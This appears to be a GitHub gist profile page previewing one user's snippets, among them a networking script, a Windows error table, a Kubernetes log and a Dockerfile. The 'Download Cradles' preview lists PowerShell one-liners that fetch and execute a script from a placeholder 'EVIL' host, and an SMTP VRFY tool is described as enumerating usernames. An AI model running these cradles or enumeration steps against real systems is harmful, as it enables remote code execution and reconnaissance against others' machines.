Skip to content

Instantly share code, notes, and snippets.

View kmahyyg's full-sized avatar
👋
ISeekU

Patrick Young kmahyyg

👋
ISeekU
View GitHub Profile
@kmahyyg
kmahyyg / router-onlinecheck.sh
Last active May 15, 2023 16:51
OpenWRT router online check and re-up
#!/bin/bash
#
# This script is running on OpenWRT 18.04.3
# AArch64-Xiaomi-AX6S
#
# Requirements:
# bash 5.1.16
# curl 7.83.1 (2022-05-11)
#
# This script should be run with an interval longer than LCP request.
@kmahyyg
kmahyyg / DownloadCradles.ps1
Created May 12, 2023 07:12 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@kmahyyg
kmahyyg / msobjs-10.0.19045.2846.csv
Created May 4, 2023 08:09
MSOBJS Message Extraction
MsgContent MsgId
The operation completed successfully. 0
Incorrect function. 1
The system cannot find the file specified. 2
The system cannot find the path specified. 3
The system cannot open the file. 4
Access is denied. 5
The handle is invalid. 6
The storage control blocks were destroyed. 7
Not enough memory resources are available to process this command. 8
@kmahyyg
kmahyyg / extract.ps1
Last active May 4, 2023 08:08
Extract Message from DLL
$Source = @'
using System;
using System.Runtime.InteropServices;
using System.Text;
public class Win32Native {
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr LoadLibraryEx(string libFilename, IntPtr reserved, int flags);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool FreeLibrary(IntPtr hModule);
# pyTstProj - jira-auto-process.py
# Copyright (C) 2023 Patmeow Limited
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
@kmahyyg
kmahyyg / smtpvrfy.py
Last active April 4, 2023 06:11 — forked from mgeeky/smtpvrfy.py
SMTP VRFY python tool intended to check whether SMTP server is leaking usernames. Updated to Python 3.
#!/usr/bin/python3
#
# Simple script intended to abuse SMTP server's VRFY command to leak
# usernames having accounts registered within it.
#
# Mariusz B., 2016
#
# Converted to Python3 by kmahyyg, 20230404
#
# Designed to split per 18 names, since my environment per 20 failed attempts
@kmahyyg
kmahyyg / repeatsetproxy.cpp
Created January 19, 2023 20:09
Always Set Windows Global Proxy Settings
// RepeatSetProxy.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <windows.h>
#include <WinInet.h>
#include <iostream>
#include <strsafe.h>
#include <cstring>
#include <atlstr.h>
@kmahyyg
kmahyyg / fxxk-wechat.html
Created September 11, 2022 16:54
Get Out Of WeChat In-APP Browser
<!DOCTYPE html>
<html>
<head>
<meta lang="zh-CN">
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<style>
#detection_res {
color: red;
font-size: large;
@kmahyyg
kmahyyg / api-server.log
Created April 23, 2022 03:01
k8s-kubeadm-bug-log
[root@k8shostcp1 ~]# crictl logs 3fe6d0e31fd66
I0423 02:57:35.900998 1 server.go:565] external host was not specified, using 192.168.56.10
I0423 02:57:35.901535 1 server.go:172] Version: v1.23.6
I0423 02:57:36.239754 1 shared_informer.go:240] Waiting for caches to sync for node_authorizer
I0423 02:57:36.240076 1 plugins.go:158] Loaded 12 mutating admission controller(s) successfully in the following order: NamespaceLifecycle,LimitRanger,ServiceAccount,NodeRestriction,TaintNodesByCondition,Priority,DefaultTolerationSeconds,DefaultStorageClass,StorageObjectInUseProtection,RuntimeClass,DefaultIngressClass,MutatingAdmissionWebhook.
I0423 02:57:36.240103 1 plugins.go:161] Loaded 11 validating admission controller(s) successfully in the following order: LimitRanger,ServiceAccount,PodSecurity,Priority,PersistentVolumeClaimResize,RuntimeClass,CertificateApproval,CertificateSigning,CertificateSubjectRestriction,ValidatingAdmissionWebhook,ResourceQuota.
I0423 02:57:36.240893 1 plugin
@kmahyyg
kmahyyg / Dockerfile
Last active November 22, 2021 01:31
guacamole-guacd (fix libssh issue, compile against latest library, working)
FROM archlinux:base-devel
LABEL MAINTAINER="kmahyyg <16604643+kmahyyg@users.noreply.github.com>"
LABEL DESCRIPTION="Apache Guacamole - guacd based on Arch Linux"
LABEL VERSION="v20211120-guacd-1.3.0"
ENV GUACD_LOG_LEVEL=info
COPY write-archcn.sh /build/write-archcn.sh
COPY write-sudoer.sh /build/write-sudoer.sh